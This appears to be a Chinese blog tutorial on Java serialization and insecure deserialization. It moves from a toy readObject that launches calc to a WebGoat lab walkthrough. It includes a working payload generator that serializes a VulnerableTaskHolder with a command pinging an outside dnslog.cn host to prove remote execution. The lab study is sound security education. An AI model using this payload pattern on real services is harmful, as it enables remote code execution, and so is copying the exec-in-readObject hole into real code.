Java序列化是指把Java对象转换为字节序列的过程;
Java反序列化是指把字节序列恢复为Java对象的过程;
对象不只是存储在内存中,它还需要在传输网络中进行传输,并且保存起来之后下次再加载出来,这时
候就需要序列化技术。
Java的序列化技术就是把对象转换成一串由二进制字节组成的数组,然后将这二进制数据保存在磁盘或
传输网络。而后需要用到这对象时,磁盘或者网络接收者可以通过反序列化得到此对象,达到对象持久
化的目的。
java.io.ObjectOutputStream 类,将Java对象的原始数据类型写出到文件,实现对象的持久存储。
序列化操作
一个对象要想序列化,必须满足两个条件:
该类必须实现 java.io.Serializable 接口, Serializable 是一个标记接口,不实现此接口的类将不会
使任
何状态序列化或反序列化,会抛出 NotSerializableException 。
该类的所有属性必须是可序列化的。如果有一个属性不需要可序列化的,则该属性必须注明是瞬态
的,使用
transient 关键字修饰。
示例
package mytest; import java.io.*; class User implements Serializable { public String username; private int age; public transient String sex; // transient瞬态修饰成员,不会被序列化 public User(String username,int age,String sex){ this.username=username; this.age=age; this.sex=sex; } @Override public String toString() { return "User{" + "username='" + username + '\'' + ", age=" + age + ", sex='" + sex + '\'' + '}'; } } public class Main { public static void main(String[] args) throws Exception { User user=new User("xiaoming",30,"man"); System.out.println("序列化前"+user); Serialize(user); Deserialize(); } public static void Serialize(Object obj) throws Exception{ ObjectOutputStream InputStram=new ObjectOutputStream(new FileOutputStream("ser.txt")); // 1.创建序列化流 InputStram.writeObject(obj); // 2.写出对象 InputStram.close(); //释放资源 System.out.println("序列化完成"); } public static void Deserialize() throws Exception{ ObjectInputStream InputStram= new ObjectInputStream(new FileInputStream("ser.txt")); // 1.创建反序列化流 Object obj=InputStram.readObject(); // 2.使用ObjectInputStream中的readObject读取一个对象 InputStram.close();//释放资源 System.out.print("反序列化"+obj); } }
运行结果
在Java反序列化中,会调用被反序列化的readObject方法,当readObject方法被重写不当时产生漏洞
package mytest; import java.io.*; class User implements Serializable { public String username; private int age; public transient String sex; // transient瞬态修饰成员,不会被序列化 public User(String username,int age,String sex){ this.username=username; this.age=age; this.sex=sex; } private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{ in.defaultReadObject(); Runtime.getRuntime().exec("calc"); } @Override public String toString() { return "User{" + "username='" + username + '\'' + ", age=" + age + ", sex='" + sex + '\'' + '}'; } } public class Main { public static void main(String[] args) throws Exception { User user=new User("xiaoming",30,"man"); System.out.println("序列化前"+user); Serialize(user); Deserialize(); } public static void Serialize(Object obj) throws Exception{ ObjectOutputStream InputStram=new ObjectOutputStream(new FileOutputStream("ser.txt")); // 1.创建序列化流 InputStram.writeObject(obj); // 2.写出对象 InputStram.close(); //释放资源 System.out.println("序列化完成"); } public static void Deserialize() throws Exception{ ObjectInputStream InputStram= new ObjectInputStream(new FileInputStream("ser.txt")); // 1.创建反序列化流 Object obj=InputStram.readObject(); // 2.使用ObjectInputStream中的readObject读取一个对象 InputStram.close();//释放资源 System.out.print("反序列化"+obj); } }
运行后弹出计算器
此处重写了readObject方法,执行了 Runtime.getRuntime().exec()
defaultReadObject方法为ObjectInputStream中执行readObject后的默认执行方法
运行流程:
1. User对象序列化进ser.txt文件
2. 从ser.txt反序列化对象->调用readObject方法->执行Runtime.getRuntime().exec("calc")
这里使用WebGoat靶场进行演示,靶场下载地址:https://github.com/WebGoat/WebGoat
打开burp抓个包
idea全局搜索
找到对应代码
代码如下
package org.owasp.webgoat.lessons.deserialization; import java.io.byteArrayInputStream; import java.io.IOException; import java.io.InvalidClassException; import java.io.ObjectInputStream; import java.util.Base64; import org.dummy.insecure.framework.VulnerableTaskHolder; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints({ "insecure-deserialization.hints.1", "insecure-deserialization.hints.2", "insecure-deserialization.hints.3" }) public class InsecureDeserializationTask extends AssignmentEndpoint { @PostMapping("/InsecureDeserialization/task") @ResponseBody public AttackResult completed(@RequestParam String token) throws IOException { //接收一个token,就是之前在POSt提交的token String b64token; long before; long after; int delay; b64token = token.replace('-', '+').replace('_', '/');//把token进行一些处理,并进行base64解码 try (ObjectInputStream ois = new ObjectInputStream(new byteArrayInputStream(Base64.getDecoder().decode(b64token)))) {//将解码后的数据作为字节数组的输入流,再传递给一个对象输入流 before = System.currentTimeMillis();//获取当前的时间 Object o = ois.readObject();//反序列化 if (!(o instanceof VulnerableTaskHolder)) { //判断对象是否为VulnerableTaskHolder的实例 if (o instanceof String) {//如果不是,就不成立 return failed(this).feedback("insecure-deserialization.stringobject").build(); } return failed(this).feedback("insecure-deserialization.wrongobject").build(); } after = System.currentTimeMillis();//获取执行完后的时间 } catch (InvalidClassException e) { return failed(this).feedback("insecure-deserialization.invalidversion").build(); } catch (IllegalArgumentException e) { return failed(this).feedback("insecure-deserialization.expired").build(); } catch (Exception e) { return failed(this).feedback("insecure-deserialization.invalidversion").build(); } delay = (int) (after - before);//将完成后的时间和之前的时间相减 if (delay > 7000) { return failed(this).build(); } if (delay < 3000) { return failed(this).build(); } return success(this).build(); } }
我们看一下VulnerableTaskHolder这个类
package org.dummy.insecure.framework; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.ObjectInputStream; import java.io.Serializable; import java.time.LocalDateTime; import lombok.extern.slf4j.Slf4j; @Slf4j // TODO move back to lesson public class VulnerableTaskHolder implements Serializable { private static final long serialversionUID = 2; private String taskName; private String taskAction; private LocalDateTime requestedExecutionTime; public VulnerableTaskHolder(String taskName, String taskAction) { super(); this.taskName = taskName; this.taskAction = taskAction; this.requestedExecutionTime = LocalDateTime.now();//构造函数执行时的时间,也就是我们创建对象的时间 } @Override public String toString() { return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime=" + requestedExecutionTime + "]"; } /** * Execute a task when de-serializing a saved or received object. * * @author stupid develop */ private void readObject(ObjectInputStream stream) throws Exception {//重写了readObject方法,那么反序列化后执行的就是该方法 // unserialize data so taskName and taskAction are available stream.defaultReadObject();//首先调用系统自带的ReadObject方法 // do something with the data log.info("restoring task: {}", taskName);//输出信息 log.info("restoring time: {}", requestedExecutionTime); if (requestedExecutionTime != null && (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10)) || requestedExecutionTime.isAfter(LocalDateTime.now()))) {//先判断不为空,再判断时间是创建对象的时间到执行到这里的时间的10分钟之前,或者是在当前时间之后,都不成立 // do nothing is the time is not within 10 minutes after the object has been created log.debug(this.toString()); throw new IllegalArgumentException("outdated");//抛出异常 } // condition is here to prevent you from destroying the goat altogether if ((taskAction.startsWith("sleep") || taskAction.startsWith("ping")) && taskAction.length() < 22) {//判断是否是以sleep或者以ping开头,并且长度小于22 log.info("about to execute: {}", taskAction); try { Process p = Runtime.getRuntime().exec(taskAction); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));//获取输入流,将字节输入流转化成字符输入流,然后传递给BufferedReader String line = null; while ((line = in.readLine()) != null) {//逐行读取,每次读取一行,如果不为空的话 log.info(line);//输出 } } catch (IOException e) { log.error("IO Exception", e); } } } }
我们idea新建一个工程,,创建和VulnerableTaskHolder这个类一样的包名把VulnerableTaskHolder这个类复制过来,方法可以不要
编写payload
package org.dummy.insecure.framework; import java.io.byteArrayOutputStream; import java.io.ObjectOutputStream; import java.util.Base64; public class Payload { public static void main(String[] args) throws Exception { VulnerableTaskHolder hoder=new VulnerableTaskHolder("a","ping 775z8x.dnslog.cn"); byteArrayOutputStream baos=new byteArrayOutputStream(); ObjectOutputStream oos=new ObjectOutputStream(baos);//传递给对象输出流 oos.writeObject(hoder);//往字节数组输出流写入对象 String string=Base64.getEncoder().encodeToString(baos.tobyteArray());//转化成base64 System.out.print(string);//输出 } }
提交,成功执行命令
#如无特别声明,该文章均为 原创,转载请遵循
署名-非商业性使用 4.0 国际(CC BY-NC 4.0) 协议,即转载请注明文章来源。
#最后编辑时间为: 2023-02-15 19:56:15